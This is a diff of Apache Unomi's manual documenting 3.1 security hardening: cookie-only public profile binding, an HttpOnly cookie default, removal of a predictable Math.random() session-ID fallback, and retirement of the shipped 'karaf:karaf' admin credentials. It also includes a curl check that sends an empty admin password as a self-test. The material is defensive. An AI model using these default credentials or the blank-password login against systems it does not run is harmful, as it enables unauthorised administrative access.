-At least one of the following must be provided in the request: `sessionId`, `profileId` (as a parameter or in a cookie), or `personaId`. If none of these are provided, the request will fail with a `BadRequestException` (400 error).
+At least one of the following must be provided in the request: `sessionId`, a profile cookie (`context-profile-id` by default), a body/query `profileId` **from a trusted caller**, or `personaId`. If none of these are available after public-caller rules below, the request fails with a `BadRequestException` (400).
====
Apache Unomi attempts to identify the visitor's profile through the following process:
-1. **Profile ID Resolution**:
- * First checks for a `profileId` parameter in the request
- * If not found, looks for a cookie named `context-profile-id` (configurable via `org.apache.unomi.profile.cookie.name`)
- * Cookie values are validated against a JSON schema - invalid values (e.g., containing script tags) will cause a `400 Bad Request` error
- * The resolved profile ID is used to attempt loading the profile from the database
+1. **Profile ID Resolution** (public vs trusted callers):
+ * **Public callers** (public API key / unauthenticated context): the profile cookie is the **only** profile bearer. A body or query `profileId` is **ignored** (even when no cookie is present).
+ * **Trusted callers** (system administrator or tenant private-key / `TENANT_ADMINISTRATOR`): an explicit body/query `profileId` is honored and may differ from the cookie.
+ * Cookie name defaults to `context-profile-id` (configurable via `org.apache.unomi.profile.cookie.name`).
+ * Cookie values are validated against a JSON schema — invalid values (for example containing script tags) cause a `400 Bad Request`.
+ * The resolved profile ID is used to attempt loading the profile from the database.
2. **Session Profile Override** (if session exists):
- * If a session is found (see Step 2) and contains a profile ID that differs from the cookie/profileId parameter
- * Apache Unomi uses the session's profile ID instead (this handles cases where a user switches accounts)
- * The profile is reloaded from the database using the session's profile ID
+ * If a session is found (see Step 2) and its profile differs from the request profile, Unomi switches to the session profile **only when**:
+ ** the profile cookie already matches the session owner, **or**
+ ** the caller is trusted (and is not keeping an explicit trusted body `profileId` override).
+ * Otherwise the session is **detached** for this request (Unomi does not adopt a foreign session profile for a public caller).
3. **Profile Creation**: If no profile ID is found or the profile doesn't exist:
- * If a profile ID was provided (from parameter or cookie) but doesn't exist in the database, creates a new profile with that ID
+ * If a profile ID was provided (from cookie, or from a trusted body/query `profileId`) but doesn't exist in the database, creates a new profile with that ID
* If no profile ID was found, generates a new UUID as the profile ID and creates a new profile
* Sets the `firstVisit` property to the current timestamp
* Marks the profile for persistence
@@ -259,9 +261,20 @@ This ensures that profiles are always available for processing, even for first-t
[IMPORTANT]
====
-The profile ID is always server-generated (UUID format). Even if a client sends a custom profile ID in a cookie or parameter, Apache Unomi validates it exists in the database. If it doesn't exist, a new profile is created (potentially with that ID if provided via parameter, or with a newly generated UUID). This makes profile IDs secure and prevents profile ID manipulation.
+For **public** callers, do not rely on body/query `profileId` as identity — always send the profile cookie (browsers do this automatically when credentials are included). To act as a specific profile from a backend or admin tool, authenticate as a **trusted** caller (tenant private key or system administrator) and then send `profileId`. See <<_migrate_from_3_0_to_3_1,Migrate from 3.0 to 3.1>> for client migration notes.
====
+====== Why the cookie is safer than a body `profileId` for public callers
+
+On public `/context.json` and `/eventcollector` endpoints, the profile id is a **bearer** identifier: whoever presents it can continue that visitor's tracking context. Unomi therefore prefers the **HTTP cookie** over a body or query `profileId` for public traffic:
+
+* **Browser-enforced delivery** — Once `Set-Cookie` has established the profile cookie (with `HttpOnly` and `SameSite` by default), the browser attaches it on later requests to Unomi. Application JavaScript does not need to copy the id into JSON, so routine front-end code is less likely to mishandle or over-share it.
+* **Harder for page script to exfiltrate** — With `HttpOnly` (the default), script running in the page cannot read the cookie via `document.cookie`. A body/query `profileId` is application-controlled data: anything that can influence the request payload can try to point at another profile id.
+* **Clearer trust boundary** — Public callers prove continuity with the cookie the server previously issued. Selecting an arbitrary id in the body blurred that boundary (knowing or guessing a UUID was enough). Trusted callers (private key / system admin) may still pass `profileId` explicitly when a backend intentionally acts on a chosen profile.
+* **Fewer accidental leaks in URLs and logs** — Query-string `profileId` values show up in browser history, proxies, and access logs more often than `Cookie` headers. Prefer the cookie (and read `profileId` from the JSON **response** when your app needs the value in memory).
+
+Body/query `profileId` remains appropriate for **authenticated** integrations that are supposed to bind a specific profile under operator control — not for anonymous browser trackers.
+
===== Example: Profile Identification
**Example 1: First-Time Visitor (No Cookie)**
@@ -327,13 +340,15 @@ curl -X POST http://localhost:8181/cxs/context.json?sessionId=1234 \
Apache Unomi loaded the existing profile using the profile ID from the cookie.
-**Example 3: Using profileId Parameter**
+**Example 3: Trusted caller using body/query `profileId`**
+
+Public callers must send the cookie (Example 2). A trusted caller (tenant private key) may select a profile explicitly:
[source,bash]
----
-# Request with explicit profileId parameter
+# Trusted: Basic auth with tenantId:privateKey — body/query profileId is honored
curl -X POST "http://localhost:8181/cxs/context.json?sessionId=1234&profileId=a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
--H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \
+--user "TENANT_ID:PRIVATE_KEY" \
-H "Content-Type: application/json" \
-d '{
"source": {
@@ -344,17 +359,16 @@ curl -X POST "http://localhost:8181/cxs/context.json?sessionId=1234&profileId=a1
}'
----
-The `profileId` parameter takes precedence over the cookie value.
+For public callers, a body/query `profileId` without a matching cookie is ignored (it does **not** take precedence over the cookie).
[plantuml]
----
@startuml
title Profile and Session Identification Flow
-RestServiceUtils -> RestServiceUtils: Get profileId from parameter
-alt profileId parameter exists
- RestServiceUtils -> ProfileService: load(profileId)
-else Check cookie
+alt trusted caller with body/query profileId
+ RestServiceUtils -> ProfileService: load(bodyOrQueryProfileId)
+else public or no explicit trusted profileId
RestServiceUtils -> HttpServletRequest: getCookie("context-profile-id")
HttpServletRequest --> RestServiceUtils: profileId from cookie
RestServiceUtils -> ProfileService: load(profileId)
@@ -374,9 +388,11 @@ alt sessionId provided
RestServiceUtils -> ProfileService: loadSession(sessionId)
alt Session found
RestServiceUtils -> RestServiceUtils: Check session profile
- alt Session profile differs
+ alt Session profile differs and (cookie owns session or trusted)
RestServiceUtils -> ProfileService: load(sessionProfileId)
RestServiceUtils -> RestServiceUtils: Use session's profile
+ else public mismatch
+ RestServiceUtils -> RestServiceUtils: Detach session for this request
end
else Session not found
RestServiceUtils -> RestServiceUtils: Create new Session(sessionId, profile)
@@ -393,7 +409,7 @@ end
If a `sessionId` is provided in the request:
1. **Session Loading**: Apache Unomi attempts to load the existing session from the database
-2. **Profile Association**: If a session is found, it may contain a profile ID that takes precedence over the cookie/profileId parameter
+2. **Profile Association**: If a session is found and its profile differs from the request profile, Unomi switches only when the cookie owns that session or the caller is trusted (see Step 1). Public callers cannot adopt a foreign session profile.
3. **Session Creation**: If no session is found or the session is invalidated:
* Creates a new session with the provided `sessionId`
* Associates the session with the current profile (or anonymous profile if privacy settings require it)
@@ -804,7 +820,7 @@ Cookies are only set for regular profiles, not for Personas. If a `personaId` is
* `Max-Age=31536000` - Valid for 1 year by default (configurable via `org.apache.unomi.profile.cookie.maxAgeInSeconds`)
* `SameSite=Lax` - CSRF protection
* `Secure` - Set if the request is over HTTPS (configurable)
- * `HttpOnly` - Configurable via `org.apache.unomi.profile.cookie.httpOnly` (default: false)
+ * `HttpOnly` - Configurable via `org.apache.unomi.profile.cookie.httpOnly` (default: `true`)
* `Domain` - Configurable via `org.apache.unomi.profile.cookie.domain`
This cookie allows the browser to automatically send the profile ID on subsequent requests, enabling Apache Unomi to load the existing profile.
@@ -1180,7 +1196,7 @@ The following configuration properties control profile tracking behavior:
* `org.apache.unomi.profile.cookie.name` - Cookie name (default: `context-profile-id`)
* `org.apache.unomi.profile.cookie.maxAgeInSeconds` - Cookie expiration time (default: `31536000` = 1 year)
-* `org.apache.unomi.profile.cookie.httpOnly` - Whether cookie is HTTP-only (default: `false`)
+* `org.apache.unomi.profile.cookie.httpOnly` - Whether cookie is HTTP-only (default: `true`). When `true`, browser JavaScript cannot read the cookie; the browser still sends it on requests. Prefer reading `profileId` from the context JSON response.
* `org.apache.unomi.profile.cookie.domain` - Cookie domain (optional)
-These can be configured in the `org.apache.unomi.web.cfg` configuration file.
+These can be configured in `etc/custom.system.properties` / `org.apache.unomi.web.cfg`.
diff --git a/manual/src/main/asciidoc/javascript-tracker-guide.adoc b/manual/src/main/asciidoc/javascript-tracker-guide.adoc
index c1179e909a..b9acf9773d 100644
--- a/manual/src/main/asciidoc/javascript-tracker-guide.adoc
+++ b/manual/src/main/asciidoc/javascript-tracker-guide.adoc
@@ -52,8 +52,9 @@ Here's a minimal tracker structure:
contextServerUrl: 'http://localhost:8181',
apiKey: 'YOUR_PUBLIC_API_KEY',
scope: 'mydigital',
- sessionCookieName: 'unomi-session-id',
- profileCookieName: 'context-profile-id'
+ sessionCookieName: 'unomi-session-id'
+ // No profile cookie name here: the profile ID cookie is HttpOnly and
+ // cannot be read from JavaScript. Use response.profileId instead.
};
// Tracker object
@@ -121,13 +122,13 @@ The tracker needs to generate and maintain a session ID. If no session ID exists
// Generate a UUID v4
// Uses crypto.randomUUID() if available (most secure, modern browsers)
// Falls back to crypto.getRandomValues() (secure, widely supported)
-// Falls back to Math.random() only for very old browsers (less secure)
+// Fails closed if neither is available: session IDs must never be guessable
generateUUID: function() {
// Use crypto.randomUUID() if available (Chrome 92+, Firefox 95+, Safari 15.4+, Node.js 19+)
if (typeof crypto !== 'undefined' && crypto.randomUUID) {
return crypto.randomUUID();
}
-
+
// Use crypto.getRandomValues() if available (widely supported, secure)
if (typeof crypto !== 'undefined' && crypto.getRandomValues) {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
@@ -136,14 +137,16 @@ generateUUID: function() {
return v.toString(16);
});
}
-
- // Fallback to Math.random() for very old browsers (not cryptographically secure)
- // Note: This is less secure and should only be used as a last resort
- return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
- const r = Math.random() * 16 | 0;
- const v = c === 'x' ? r : (r & 0x3 | 0x8);
- return v.toString(16);
- });
+
+ // No cryptographically secure source available: fail closed.
+ // Do NOT fall back to Math.random() — its output is predictable and a
+ // guessable session ID lets an attacker take over a visitor's session.
+ throw new Error(
+ 'Unomi tracker: no cryptographically secure random source available ' +
+ '(neither crypto.randomUUID nor crypto.getRandomValues). This browser is ' +
+ 'unsupported: install a Web Crypto polyfill, or use a browser that provides ' +
+ 'crypto.getRandomValues.'
+ );
},
// Get or create session ID
@@ -843,11 +846,13 @@ getContextWithRetry: function(options, callback, maxRetries) {
===== Profile ID Synchronization
-The profile ID is set by Apache Unomi in a cookie. Make sure to read it from the response:
+The profile ID is set by Apache Unomi in a cookie. By default the cookie is `HttpOnly`, so browser JavaScript
+**cannot** read it via `document.cookie`. Always prefer the `profileId` field in the JSON response. The browser still
+**sends** the cookie on subsequent requests when credentials/cookies are included.
[source,javascript]
----
-// Enhanced context request that handles profile ID cookie
+// Enhanced context request that handles profile ID from the response
getContext: function(options, callback) {
// ... existing code ...
@@ -857,14 +862,10 @@ getContext: function(options, callback) {
try {
const response = JSON.parse(xhr.responseText);
- // Profile ID cookie is automatically set by Apache Unomi
- // but we can verify it matches the response
- const cookieProfileId = tracker.getCookie(CONFIG.profileCookieName);
- if (response.profileId && cookieProfileId !== response.profileId) {
- console.warn('Profile ID mismatch:', {
- cookie: cookieProfileId,
- response: response.profileId
- });
+ // Authoritative profile id for application logic:
+ // response.profileId (cookie may be HttpOnly and unreadable from JS)
+ if (response.profileId) {
+ // store in memory / your app state if needed — do not rely on document.cookie
}
if (callback) {
@@ -1005,7 +1006,8 @@ Here's a complete, production-ready tracker implementation combining all the con
apiKey: 'YOUR_PUBLIC_API_KEY',
scope: 'mydigital',
sessionCookieName: 'unomi-session-id',
- profileCookieName: 'context-profile-id',
+ // No profile cookie name here: the profile ID cookie is HttpOnly and
+ // cannot be read from JavaScript. Use response.profileId instead.
eventQueueSize: 10,
eventQueueInterval: 5000
};
@@ -1034,13 +1036,13 @@ Here's a complete, production-ready tracker implementation combining all the con
// UUID generation
// Uses crypto.randomUUID() if available (most secure, modern browsers)
// Falls back to crypto.getRandomValues() (secure, widely supported)
- // Falls back to Math.random() only for very old browsers (less secure)
+ // Fails closed if neither is available: session IDs must never be guessable
generateUUID: function() {
// Use crypto.randomUUID() if available (Chrome 92+, Firefox 95+, Safari 15.4+, Node.js 19+)
if (typeof crypto !== 'undefined' && crypto.randomUUID) {
return crypto.randomUUID();
}
-
+
// Use crypto.getRandomValues() if available (widely supported, secure)
if (typeof crypto !== 'undefined' && crypto.getRandomValues) {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
@@ -1049,14 +1051,16 @@ Here's a complete, production-ready tracker implementation combining all the con
return v.toString(16);
});
}
-
- // Fallback to Math.random() for very old browsers (not cryptographically secure)
- // Note: This is less secure and should only be used as a last resort
- return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
- const r = Math.random() * 16 | 0;
- const v = c === 'x' ? r : (r & 0x3 | 0x8);
- return v.toString(16);
- });
+
+ // No cryptographically secure source available: fail closed.
+ // Do NOT fall back to Math.random() — its output is predictable and a
+ // guessable session ID lets an attacker take over a visitor's session.
+ throw new Error(
+ 'Unomi tracker: no cryptographically secure random source available ' +
+ '(neither crypto.randomUUID nor crypto.getRandomValues). This browser is ' +
+ 'unsupported: install a Web Crypto polyfill, or use a browser that provides ' +
+ 'crypto.getRandomValues.'
+ );
},
// Session management
@@ -1230,26 +1234,31 @@ Here's a complete, production-ready tracker implementation combining all the con
====
**Security Considerations for UUID Generation**
-The tracker uses UUIDs for session IDs, which should be unpredictable to prevent session hijacking. The implementation in this guide uses a secure fallback chain:
+Session IDs are security-relevant: a session ID is a bearer identifier, so anyone who can predict one can hijack the corresponding visitor session. The implementation in this guide therefore uses only cryptographically secure sources, and **fails closed** when none is available:
1. **`crypto.randomUUID()`** (Preferred): Available in modern browsers (Chrome 92+, Firefox 95+, Safari 15.4+, Edge 92+). This is the most secure option and generates RFC 4122-compliant UUIDs using cryptographically secure random number generation.
2. **`crypto.getRandomValues()`** (Fallback): Available in all modern browsers (IE 11+, Chrome 11+, Firefox 21+, Safari 5.1+). Uses the Web Crypto API to generate cryptographically secure random values. This is secure and widely compatible.
-3. **`Math.random()`** (Last Resort): Only used for very old browsers that don't support the Web Crypto API. This is **not cryptographically secure** and can be predictable, making it vulnerable to session hijacking attacks.
+3. **No secure source → throw**: if neither Web Crypto entry point exists, `generateUUID()` throws an `Error` instead of returning an identifier. There is deliberately **no `Math.random()` fallback**: `Math.random()` is not cryptographically secure, its output is predictable, and returning such a value would silently hand attackers a guessable session ID. Refusing to track is the safer outcome.
**Recommendations:**
* For production applications, ensure your minimum browser support includes browsers with `crypto.getRandomValues()` support (essentially all browsers from 2013+)
-* If you need to support very old browsers (IE 10 and below), consider using a polyfill or warning users about security limitations
-* Never use `Math.random()` alone for security-sensitive identifiers like session IDs or authentication tokens
+* Serve your pages over HTTPS. `crypto.randomUUID()` is restricted to secure contexts, so over plain HTTP the tracker
+ falls back to `crypto.getRandomValues()`, which is available in non-secure contexts too. HTTPS is worth doing on its
+ own merits - a session identifier travelling in clear text is the larger problem - but plain HTTP alone does not reach
+ the fail-closed branch on a current browser
+* If you must support browsers without the Web Crypto API (IE 10 and below), install a Web Crypto polyfill — do not reintroduce a `Math.random()` fallback
+* Never use `Math.random()` for security-sensitive identifiers like session IDs or authentication tokens
+* Handle the thrown error in your integration (for example, disable tracking and log a warning) rather than letting it break unrelated page scripts
* The profile ID is always generated server-side by Apache Unomi using secure UUID generation, so client-side UUID generation is only needed for session IDs
**Browser Compatibility:**
-* `crypto.randomUUID()`: Chrome 92+, Firefox 95+, Safari 15.4+, Edge 92+ (2021+)
-* `crypto.getRandomValues()`: All modern browsers (2013+)
-* `Math.random()`: All browsers (but not secure)
+* `crypto.randomUUID()`: Chrome 92+, Firefox 95+, Safari 15.4+, Edge 92+ (2021+), secure contexts only
+* `crypto.getRandomValues()`: All modern browsers (2013+), available in secure and non-secure contexts
+* Anything older, or any non-secure context: unsupported — the tracker throws rather than generating a weak session ID
-For maximum security and compatibility, the implementation automatically uses the best available method.
+The implementation automatically uses the best available secure method, and refuses to generate a session ID when there is none.
====
==== Next Steps
diff --git a/manual/src/main/asciidoc/jsonSchema/json-schema-api.adoc b/manual/src/main/asciidoc/jsonSchema/json-schema-api.adoc
index 2d4a01440f..2730051554 100644
--- a/manual/src/main/asciidoc/jsonSchema/json-schema-api.adoc
+++ b/manual/src/main/asciidoc/jsonSchema/json-schema-api.adoc
@@ -16,7 +16,7 @@
The JSON schema endpoints are private, so the user has to be authenticated to manage the JSON schema in Unomi.
-IMPORTANT: JSON schema endpoints require tenant authentication using Basic Auth with `tenantId:privateKey`. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`).
+IMPORTANT: JSON schema endpoints require tenant authentication using Basic Auth with `tenantId:privateKey`. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`).
==== List existing schemas
diff --git a/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc b/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc
index 18b69e2880..a041bf2d2e 100644
--- a/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc
+++ b/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc
@@ -34,7 +34,7 @@ The main change in 3.1 is the introduction of tenant-based authentication. The s
|Aspect |Unomi 3.0 |Unomi 3.1
|Authentication Method
-|System Administrator Authentication (karaf/karaf)
+|System Administrator Authentication (configured admin password)
|Tenant-based API Keys + System Administrator Authentication
|Public API Endpoints
@@ -46,8 +46,8 @@ The main change in 3.1 is the introduction of tenant-based authentication. The s
|Tenant Authentication (tenantId/privateKey) OR System Administrator Authentication
|Tenant Administration
-|System Administrator Authentication (karaf/karaf)
-|System Administrator Authentication (karaf/karaf)
+|System Administrator Authentication
+|System Administrator Authentication (configured `UNOMI_ROOT_PASSWORD`)
|===
==== API Key Types (3.1 Only)
@@ -68,12 +68,12 @@ The main change in 3.1 is the introduction of tenant-based authentication. The s
|Public API Key only
|Administrative Operations
-|System Admin (karaf/karaf)
-|Tenant Auth (tenantId/privateKey) OR System Admin (karaf/karaf)
+|System Admin (`karaf:$UNOMI_ROOT_PASSWORD`)
+|Tenant Auth (tenantId/privateKey) OR System Admin (`karaf:$UNOMI_ROOT_PASSWORD`)
|Tenant Administration (`/cxs/tenants`)
-|System Admin (karaf/karaf)
-|System Admin (karaf/karaf)
+|System Admin (`karaf:$UNOMI_ROOT_PASSWORD`)
+|System Admin (`karaf:$UNOMI_ROOT_PASSWORD`)
|===
==== Authentication Flow (3.1)
@@ -84,7 +84,7 @@ The AuthenticationFilter in 3.1 follows this resolution order:
2. **Public endpoints** (e.g., `/context.json`): Requires public API key via `X-Unomi-Api-Key` header
3. **Private endpoints**: Tries tenant authentication first, then falls back to system administrator authentication:
- **Tenant Authentication**: Basic Auth with `tenantId:privateKey`
- - **System Administrator Authentication**: Basic Auth with `karaf:karaf` (or configured admin credentials)
+ - **System Administrator Authentication**: Basic Auth with `karaf:$UNOMI_ROOT_PASSWORD` (or configured admin credentials)
==== Code Examples
@@ -94,7 +94,7 @@ The AuthenticationFilter in 3.1 follows this resolution order:
----
// Global system administrator authentication for all endpoints
RestAssured.authentication = RestAssured.preemptive()
- .basic("karaf", "karaf");
+ .basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"));
// Context requests require no authentication
RestAssured.given()
@@ -124,14 +124,14 @@ given()
// For private endpoints using system administrator authentication
given()
- .auth().preemptive().basic("karaf", "karaf")
+ .auth().preemptive().basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"))
.contentType(ContentType.JSON)
.body(payload)
.post("/cxs/profiles");
// For tenant administration (system admin only)
given()
- .auth().preemptive().basic("karaf", "karaf")
+ .auth().preemptive().basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"))
.contentType(ContentType.JSON)
.body(tenantPayload)
.post("/cxs/tenants");
@@ -164,7 +164,7 @@ public class UnomiConfiguration {
public void init() {
RestAssured.baseURI = baseUrl;
RestAssured.authentication = RestAssured.preemptive()
- .basic("karaf", "karaf");
+ .basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"));
}
// 3.1 Client
@@ -210,10 +210,87 @@ When migrating to 3.1, you need to understand that:
- Keep system administrator authentication as fallback for administrative operations
- Continue using system administrator authentication for tenant administration
-4. **No API Contract Changes**
- - All endpoints remain the same
- - Request/response payloads are unchanged
- - Only authentication mechanism differs
+4. **Related client contract changes (3.1 hardening)**
+ - Public `/context.json` and `/eventcollector` no longer treat body/query `profileId` as identity — see below
+ - Endpoint paths and most payload shapes remain the same; authentication and public profile-binding rules change
+
+[#_client_facing_hardening_3_1]
+==== Client-facing hardening (profile cookie, passwords, privileged APIs)
+
+In addition to tenant API keys, Unomi 3.1 hardens several contracts that can break older clients and scripts. See also <<_how_profile_tracking_works,How profile tracking works>> and https://issues.apache.org/jira/browse/UNOMI-972[UNOMI-972].
+
+**Why cookie-only for public profile identity?** On public context endpoints the profile id is a bearer token. Accepting a client-chosen body/query `profileId` let any public caller try to continue another visitor's context if they obtained that UUID. The cookie is issued by Unomi, sent automatically by the browser, and (with default `HttpOnly`) is not readable from page script — so public clients prove continuity with a server-issued bearer instead of an application-supplied id. Trusted callers may still override with body `profileId` when a backend intentionally selects a profile. Full rationale: <<_how_profile_tracking_works,How profile tracking works>> (section _Why the cookie is safer…_).
+
+[cols="1,2,2", options="header"]
+|===
+|Area |Old common pattern |Required in 3.1
+
+|Public profile identity
+|Body/query `profileId` often selected the profile (sometimes ahead of the cookie)
+|Public callers: **cookie only**. Body/query `profileId` is ignored. Trusted callers (tenant private key / system admin) may still override.
+
+|Session resume without cookie
+|Sending only `sessionId` could switch onto that session's profile
+|Public callers switch only if the cookie already owns the session; otherwise the session is detached for the request.
+
+|Profile cookie `HttpOnly`
+|Often defaulted to `false` (JS could read `document.cookie`)
+|Default **`true`**. Prefer `profileId` from the JSON response. Opt out with `org.apache.unomi.profile.cookie.httpOnly=false` only if you accept the tradeoff.
+
+|Admin / health passwords
+|Known defaults such as `karaf` / `karaf` were common in samples
+|Set `UNOMI_ROOT_PASSWORD` and `UNOMI_HEALTHCHECK_PASSWORD` before start (no shipped known defaults).
+
+|Groovy Actions / Router import-export REST
+|Often callable with tenant private key
+|Requires **system administrator** (`ADMINISTRATOR`), not tenant administrator.
+
+|Startup without a password
+|Started with the shipped default
+|`bin/karaf` and the Docker entrypoint refuse to start. On Windows startup continues — see the warning below.
+
+|`mergeProfilesOnProperty` / cross-profile `updateProperties` / `systemProperties.*`
+|Sometimes driven from public context events
+|Cross-profile merge/update and `systemProperties` writes require a trusted caller (system or tenant admin). Public callers may still update the **current** cookie-bound profile's normal properties when the event type allows it.
+|===
+
+[WARNING]
+====
+**Windows: the startup check cannot stop the launcher.**
+
+On Linux and macOS, `bin/karaf` sources `bin/setenv` directly, so a missing password aborts startup.
+The Docker entrypoint behaves the same way and the container exits.
+
+On Windows, `karaf.bat` runs `setenv.bat` with `call` and does not test the exit code, so the error
+message is printed and **startup continues anyway**. This is a limitation of the Karaf launcher that
+Unomi cannot work around without replacing `karaf.bat`.
+
+This matters because an unset password is not the same as a disabled account. `${env:UNOMI_ROOT_PASSWORD}`
+resolves to the *empty string*, so `etc/users.properties` creates the `karaf` administrator with an
+empty password that authenticates successfully.
+
+Windows operators must therefore treat the message as fatal and verify the password took effect
+before exposing the instance — for example by confirming that an empty password is rejected:
+
+[source,bash]
+----
+# Must return 401. A 200 means the account has a blank password.
+curl -i -u "karaf:" http://localhost:8181/cxs/tenants
+----
+
+Unomi additionally refuses any REST call presenting Basic authentication with an empty password, so
+the admin API is not reachable that way even if the server did start unconfigured. The Karaf SSH
+console (port 8102) is not covered by that check.
+====
+
+===== Migration checklist for client applications
+
+* Browser / tracker clients: ensure cookies are sent (`withCredentials` / same-site setup); stop treating body `profileId` as authoritative for public calls.
+* Headless or mobile public clients that stored a UUID and posted it only in the body: switch to sending the profile cookie, or call with a **private key** when you intentionally bind a profile.
+* Login / merge flows: emit merge-triggering events from a trusted server-side caller after real authentication — not from the public key alone.
+* Ops scripts and Docker: export both password env vars; replace `karaf:karaf` with `karaf:$UNOMI_ROOT_PASSWORD`.
+* Windows deployments: confirm the passwords actually took effect after upgrading — the startup check warns but cannot halt `karaf.bat` (see the warning above).
+* Automation that uploaded Groovy actions or managed Router import/export with a tenant private key: switch to system administrator credentials.
==== Benefits of Multi-Tenancy in 3.1
@@ -232,6 +309,7 @@ Before starting the migration, please ensure that:
- You are currently running Apache Unomi 3.0 (or a later 3.0.x version)
- You understand the multi-tenancy impact on your data model
- You have a plan to update client applications to tenant API keys (or temporary <<_v2_compatibility_mode,V2 compatibility mode>> only if coming from 2.x)
+- You have reviewed the <<_client_facing_hardening_3_1,client-facing hardening>> notes (cookie-only public profile binding, HttpOnly default, required passwords, privileged REST roles)
- You know how to obtain plaintext API keys after upgrade (regenerate via `/cxs/tenants/{id}/apikeys`; create responses expose masked keys only)
=== Migration Process
@@ -293,7 +371,7 @@ The fundamental difference between Unomi 3.0 and 3.1 is the introduction of **co
- **3.0**: Single-tenant architecture with system administrator authentication for all operations
- **3.1**: Multi-tenant architecture with complete data isolation and tenant-specific authentication
-- **API Endpoints**: Identical between versions - no breaking changes to existing integrations
+- **API Endpoints**: Paths remain the same; authentication and public profile-binding rules change (see client-facing hardening above)
- **Data Model**: All entities (profiles, events, segments, rules, schemas) become tenant-specific in 3.1
- **Authentication**: New tenant-based authentication model with system administrator authentication as fallback
diff --git a/manual/src/main/asciidoc/migrations/migrations.adoc b/manual/src/main/asciidoc/migrations/migrations.adoc
index 9cbe001462..6faa3da16c 100644
--- a/manual/src/main/asciidoc/migrations/migrations.adoc
+++ b/manual/src/main/asciidoc/migrations/migrations.adoc
@@ -17,7 +17,7 @@ This section contains information and steps to migrate between major Unomi versi
Use this decision guide to pick the right runbook:
* **Unomi 2.x → 3.0** (platform): <<_migrate_from_2_x_to_3_0,Migrate from 2.x to 3.0>> (+ <<_migrate_from_elasticsearch_7_to_elasticsearch_9,ES7→ES9>> if needed)
-* **Unomi 3.0 → 3.1** (tenants / API keys): <<_migrate_from_3_0_to_3_1,Migrate from 3.0 to 3.1>> (`unomi:migrate`); optional <<_v2_compatibility_mode,V2 compatibility mode>> for 2.x clients
+* **Unomi 3.0 → 3.1** (tenants / API keys / client hardening): <<_migrate_from_3_0_to_3_1,Migrate from 3.0 to 3.1>> (`unomi:migrate`); optional <<_v2_compatibility_mode,V2 compatibility mode>> for 2.x clients; see also <<_client_facing_hardening_3_1,client-facing hardening>>
* **Elasticsearch → OpenSearch** (same Unomi version, backend swap): <<_migrate_from_elasticsearch_to_opensearch,Migrate from Elasticsearch to OpenSearch>> (not `unomi:migrate`)
[plantuml]
diff --git a/manual/src/main/asciidoc/migrations/v2-compatibility-mode.adoc b/manual/src/main/asciidoc/migrations/v2-compatibility-mode.adoc
index 0614d523bf..6238209398 100644
--- a/manual/src/main/asciidoc/migrations/v2-compatibility-mode.adoc
+++ b/manual/src/main/asciidoc/migrations/v2-compatibility-mode.adoc
@@ -111,7 +111,7 @@ Your V2 clients should now work without any changes:
```java
// V2-style authentication still works
RestAssured.authentication = RestAssured.preemptive()
- .basic("karaf", "karaf");
+ .basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"));
// Context requests work without API keys
RestAssured.given()
@@ -137,7 +137,7 @@ Over time, gradually update your clients to use V3 authentication:
```java
// This continues to work in V2 compatibility mode
RestAssured.authentication = RestAssured.preemptive()
- .basic("karaf", "karaf");
+ .basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"));
RestAssured.given()
.auth().none()
@@ -260,7 +260,7 @@ The V2 third-party configuration supports dynamic updates:
- Ensure the tenant exists and is accessible
**Authentication errors**:
-- Verify system administrator credentials (karaf/karaf)
+- Verify system administrator credentials (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`)
- Check that the server is running properly
- Review logs for authentication errors
diff --git a/manual/src/main/asciidoc/migrations/v2-v3-compatibility.adoc b/manual/src/main/asciidoc/migrations/v2-v3-compatibility.adoc
index 4eb64ca280..fbf69a019f 100644
--- a/manual/src/main/asciidoc/migrations/v2-v3-compatibility.adoc
+++ b/manual/src/main/asciidoc/migrations/v2-v3-compatibility.adoc
@@ -40,7 +40,7 @@ This multi-tenancy support necessitates the authentication changes described bel
|Aspect |Unomi V2 |Unomi 3.1
|Authentication Method
-|System Administrator Authentication (karaf/karaf)
+|System Administrator Authentication (`karaf` user)
|Tenant-based API Keys + System Administrator Authentication
|Public API Endpoints
@@ -52,8 +52,8 @@ This multi-tenancy support necessitates the authentication changes described bel
|Tenant Authentication (tenantId/privateKey) OR System Administrator Authentication
|Tenant Administration
-|System Administrator Authentication (karaf/karaf)
-|System Administrator Authentication (karaf/karaf)
+|System Administrator Authentication (`karaf` user)
+|System Administrator Authentication (`karaf` user)
|===
===== API Key Types (V3 Only)
@@ -74,12 +74,12 @@ V3 introduces two types of API keys per tenant:
|Public API Key only
|Administrative Operations
-|System Admin (karaf/karaf)
-|Tenant Auth (tenantId/privateKey) OR System Admin (karaf/karaf)
+|System Admin (`karaf` user)
+|Tenant Auth (tenantId/privateKey) OR System Admin (`karaf` user)
|Tenant Administration (`/cxs/tenants`)
-|System Admin (karaf/karaf)
-|System Admin (karaf/karaf)
+|System Admin (`karaf` user)
+|System Admin (`karaf` user)
|===
==== Authentication Flow (V3)
@@ -90,7 +90,7 @@ The AuthenticationFilter in V3 follows this resolution order:
2. **Public endpoints** (e.g., `/context.json`): Requires public API key via `X-Unomi-Api-Key` header
3. **Private endpoints**: Tries tenant authentication first, then falls back to system administrator authentication:
